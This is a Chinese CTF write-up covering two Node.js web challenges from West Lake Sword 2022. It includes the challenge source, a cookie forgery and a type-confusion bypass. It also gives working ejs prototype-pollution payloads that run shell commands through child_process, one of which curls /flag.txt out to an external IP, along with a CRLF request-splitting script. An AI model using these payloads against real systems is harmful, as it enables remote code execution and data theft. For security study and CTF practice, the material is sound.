经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » JS/JS库/框架 » JavaScript » 查看文章
[西湖论剑 2022]web部分题解(更新中ing)
来源:cnblogs  作者:TagLmt  时间:2024/1/29 10:55:10  对本文有异议

[西湖论剑 2022]Node Magical Login

环境!启动!(ノへ ̄、)

这么一看好像弱口令啊,(不过西湖论剑题目怎么会这么简单,当时真的傻),那就bp抓包试一下(这里就不展示了,因为是展示自己思路,这里就写了一下当时的NC思路,其实是不对的┭┮﹏┭┮)

不是BP弱口令?那好吧,我们先看一下源码,比赛的时候是给了源码的NSS复现上是没有的,这里我把源码放在这里,或者可以去我主页GITHUB上下载“源码

单独建立一个工程看一下

大概扒拉了一下,main.js,controller.js,login.css............(+.+)(-.-)(_ _) ..zzZZ,最终发现!应该是“controller.js”这里有关于flag的内容!

我把源码放在下边o.O?

  1. const fs = require("fs");
  2. const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"
  3. const flag1 = fs.readFileSync("/flag1")
  4. const flag2 = fs.readFileSync("/flag2")
  5. function LoginController(req,res) {
  6. try {
  7. const username = req.body.username
  8. const password = req.body.password
  9. if (username !== "admin" || password !== Math.random().toString()) {
  10. res.status(401).type("text/html").send("Login Failed")
  11. } else {
  12. res.cookie("user",SECRET_COOKIE)
  13. res.redirect("/flag1")
  14. }
  15. } catch (__) {}
  16. }
  17. function CheckInternalController(req,res) {
  18. res.sendFile("check.html",{root:"static"})
  19. }
  20. function CheckController(req,res) {
  21. let checkcode = req.body.checkcode?req.body.checkcode:1234;
  22. console.log(req.body)
  23. if(checkcode.length === 16){
  24. try{
  25. checkcode = checkcode.toLowerCase()
  26. if(checkcode !== "aGr5AtSp55dRacer"){
  27. res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
  28. }
  29. }catch (__) {}
  30. res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
  31. }else{
  32. res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
  33. }
  34. }
  35. function Flag1Controller(req,res){
  36. try {
  37. if(req.cookies.user === SECRET_COOKIE){
  38. res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
  39. res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
  40. res.status(200).type("text/html").send("Login success. Welcome,admin!")
  41. }
  42. if(req.cookies.user === "admin") {
  43. res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
  44. res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
  45. }else{
  46. res.status(401).type("text/html").send("Unauthorized")
  47. }
  48. }catch (__) {}
  49. }
  50. module.exports = {
  51. LoginController,
  52. CheckInternalController,
  53. Flag1Controller,
  54. CheckController
  55. }

很好理解先来第一段:

Flag1:

  1. function LoginController(req,res) {
  2. try {
  3. const username = req.body.username
  4. const password = req.body.password
  5. if (username !== "admin" || password !== Math.random().toString()) {
  6. res.status(401).type("text/html").send("Login Failed")
  7. } else {
  8. res.cookie("user",SECRET_COOKIE)
  9. res.redirect("/flag1")
  10. }
  11. } catch (__) {}
  12. }

这代码从上向下看就是username !== "admin"也就是让他等于admin,相当于屏蔽了这个,好解决BP启动!

抓到包以后直接改cookie就好了(?-?*),还有因为是访问请求,所以,GET一下flag1

  1. Cookie:user=admin
  2. GET /flag1 HTTP/1.1

得到:

好耶!我们得到了一半的flag!(*^▽^*)

  1. NSSCTF{0a8c2d78-ee0e

那就接着看代码,找Flag2:

Flag2:

看了可以知道,访问 / 路由时,要满足密码为 Math.random().toString()的 随机数,因此cookie设为SECRET_COOKIE。

那么我们再看一下flag2 的相关代码:

  1. function CheckController(req,res) {
  2. let checkcode = req.body.checkcode?req.body.checkcode:1234;
  3. console.log(req.body)
  4. if(checkcode.length === 16){
  5. try{
  6. checkcode = checkcode.toLowerCase()
  7. if(checkcode !== "aGr5AtSp55dRacer"){
  8. res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
  9. }
  10. }catch (__) {}
  11. res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
  12. }else{
  13. res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
  14. }
  15. }

这段代码其实很好理解,要上传一段长度为16位的码,同时要让checkcode不等于“aGr5AtSp55dRacer”还有就是因为有”toLowerCase“会把字符小写所以考虑用node的相关漏洞,具体讲解有大神讲过了,意思是node有个遗传性,比如:

  1. oi1=1
  2. oi2//不赋值
  3. 这个时候我们调用oi1那就会把io2也是1

这个不仅是赋值,同样还有Function也继承,类似于php继承性,这是讲解视频:Node.js原型链污染

那么我们继续开始赋值,因为他让不等于而且会被默认小写,可以考虑数组:

两种写法:

  1. {"checkcode":["aGr5AtSp55dRacer",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}
  1. {"checkcode":["a","G","r","5","A","t","S","p","5","5","d","R","a","c","e","r"]}

其实是一样的都是凑够"16"位带入进去,还有就是因为是json形式的文件所以改一下json上传(好烦的要求┏┛墓┗┓...(((m -__-)m),还要记得访问flag2:

  1. POST /getflag2 HTTP/1.1//这个是头
  2. Content-Type:application/json//这个是文件形式

两种写的格式截图放这里:

效果一致得到Flag2(lll¬ω¬)

  1. -43a7-9d6e-fba3cc3240ab}

最终为:

  1. NSSCTF{0a8c2d78-ee0e-43a7-9d6e-fba3cc3240ab}

 结束<(^-^)>

[西湖论剑 2022]real_ez_node

让我先把环境拉起来!这题是有源码包的,我放到了自己的Github上了,可以去下载一下“启动链接!”

思路确认环节

ejs?等会这题叫node是吧,突然想到之前群里的师傅在谈论的node漏洞,这题这么新颖么?先看一下源码吧O.o,F12看一眼,果然没有东西,那打开Kali扫一下,啊也没有耶,那种只能看看源码了(这里是边写边做的,也算是帮很多人排除错误选项)

VSCODE打开看一眼源码:

这里不是很清楚为什么在NSS上的源码包这么多东西,我去其实仔细审计以后(我是真的把每一个文件夹都看了一遍,脑子要吐了T-T),找到了routes里边的index.js以及docker\docker\web1\files中的start.sh

那么首先锁定了flag的位置:flag位置在根目录下/flag.txt

接着开始快e乐xin的审计代码:……]((o_ _)'彡☆

  1. var express = require('express');
  2. var http = require('http');
  3. var router = express.Router();
  4. const safeobj = require('safe-obj');
  5. router.get('/',(req,res)=>{
  6. if (req.query.q) {
  7. console.log('get q');
  8. }
  9. res.render('index');
  10. })
  11. router.post('/copy',(req,res)=>{
  12. res.setHeader('Content-type','text/html;charset=utf-8')
  13. var ip = req.connection.remoteAddress;
  14. console.log(ip);
  15. var obj = {
  16. msg: '',
  17. }
  18. if (!ip.includes('127.0.0.1')) {
  19. obj.msg="only for admin"
  20. res.send(JSON.stringify(obj));
  21. return
  22. }
  23. let user = {};
  24. for (let index in req.body) {
  25. if(!index.includes("__proto__")){
  26. safeobj.expand(user, index, req.body[index])
  27. }
  28. }
  29. res.render('index');
  30. })
  31. router.get('/curl', function(req, res) {
  32. var q = req.query.q;
  33. var resp = "";
  34. if (q) {
  35. var url = 'http://localhost:3000/?q=' + q
  36. try {
  37. http.get(url,(res1)=>{
  38. const { statusCode } = res1;
  39. const contentType = res1.headers['content-type'];
  40. let error;
  41. // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
  42. if (statusCode !== 200) {
  43. error = new Error('Request Failed.\n' +
  44. `Status Code: ${statusCode}`);
  45. }
  46. if (error) {
  47. console.error(error.message);
  48. // 消费响应数据以释放内存
  49. res1.resume();
  50. return;
  51. }
  52. res1.setEncoding('utf8');
  53. let rawData = '';
  54. res1.on('data', (chunk) => { rawData += chunk;
  55. res.end('request success') });
  56. res1.on('end', () => {
  57. try {
  58. const parsedData = JSON.parse(rawData);
  59. res.end(parsedData+'');
  60. } catch (e) {
  61. res.end(e.message+'');
  62. }
  63. });
  64. }).on('error', (e) => {
  65. res.end(`Got error: ${e.message}`);
  66. })
  67. res.end('ok');
  68. } catch (error) {
  69. res.end(error+'');
  70. }
  71. } else {
  72. res.send("search param 'q' missing!");
  73. }
  74. })
  75. module.exports = router;v

大概看了下代码首先,这题叫做node那么大概率就是原型链污染了,粗略看代码又有safeobj.expand()safeobj.expand() 这一块类明显的在user中的污染链函数,又有打算开环境以后的ejs提示,那问题锁定,就是ejs模板引擎污染。

好的,主席说过“治理污染要治本,绿水青山.........”那就开始找源头!ヽ( ̄︿ ̄ )—C

1.首先在代码18行到25行看到了两个东西:要求我们从本地(127.0.0.1)访问过滤了__proto__

2.再往下看一看,发现有SSRF的节点可利用:

这样看我就有思路了!ε=ε=ε=(~ ̄▽ ̄)~

先通过路由利用CRLF还有它给我ban 了的本地连接身份向/copy发一个POST请求,再去解决污染!说干就淦

调试payload环节

ejs污染原型链

既然是___proto___这种原型链污染那我们用模板就可以了。借用“jay17”大大的博客内容,对___proto___使用constructor.prototype绕过

  1. (实例对象)foo.__proto__ == (类)Foo.prototype

ejs原型链污染的payload模板是这样的!d=====( ̄▽ ̄*)b

  1. {"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

仔细看代码,let user={};,user的上一层就是Object,考虑只有一次污染,那么就只有一个___proto___

payload如下:

  1. {
  2. "__proto__":{
  3. "outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"
  4. }
  5. }

safeobj里的expand方法, 直接递归按照 “.”做分隔写入 obj,可以原型链污染。传入{“a.b”:“123”}会进行赋值a.b=123

  1. {
  2. "constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"
  3. }

最终完善一下代码:

  1. expand: function (obj, path, thing) {
  2. if (!path || typeof thing === 'undefined') {
  3. return;
  4. }
  5. obj = isObject(obj) && obj !== null ? obj : {};
  6. var props = path.split('.');
  7. if (props.length === 1) {
  8. obj[props.shift()] = thing;
  9. } else {
  10. var prop = props.shift();
  11. if (!(prop in obj)) {
  12. obj[prop] = {};
  13. }
  14. _safe.expand(obj[prop], props.join('.'), thing);
  15. }
  16. },

CRLF

这里我想了好多种讲解方法,最终觉得我讲理论会有点难理解,有兴趣的师傅们可以去刚才我附赠的jay-17大大那个博客翻找一下,我直接给构成的脚本,生成就好了?(? ? ??)

原始脚本:

  1. payload = ''' HTTP/1.1
  2. [POST /upload.php HTTP/1.1
  3. Host: 127.0.0.1]自己的http请求
  4. GET / HTTP/1.1
  5. test:'''.replace("\n","\r\n")
  6. payload = payload.replace('\r\n', '\u010d\u010a') .replace('+', '\u012b') .replace(' ', '\u0120') .replace('"', '\u0122') .replace("'", '\u0a27') .replace('[', '\u015b') .replace(']', '\u015d') .replace('`', '\u0127') .replace('"', '\u0122') .replace("'", '\u0a27') .replace('[', '\u015b') .replace(']', '\u015d')
  7. print(payload)

题目所需脚本:

  1. payload = ''' HTTP/1.1
  2. POST /copy HTTP/1.1
  3. Host: 127.0.0.1
  4. Content-Type: application/json
  5. Connection: close
  6. Content-Length: 175
  7. {"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl //地址// /`cat /flag.txt`');//"}
  8. '''.replace("\n", "\r\n")
  9. payload = payload.replace('\r\n', '\u010d\u010a') .replace('+', '\u012b') .replace(' ', '\u0120') .replace('"', '\u0122') .replace("'", '\u0a27') .replace('[', '\u015b') .replace(']', '\u015d') .replace('`', '\u0127') .replace('"', '\u0122') .replace("'", '\u0a27')
  10. print(payload)

注意下哦,这里为什么填175,POST数据长度173,但是POST还包含了两个\n会被替换为\r\n,总长度要加2( *︾▽︾)

生成paylaod后发包:

  1. /curl?q=生成的payload URL编码

 

原文链接:https://www.cnblogs.com/TagLmtCtf/p/17989682

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号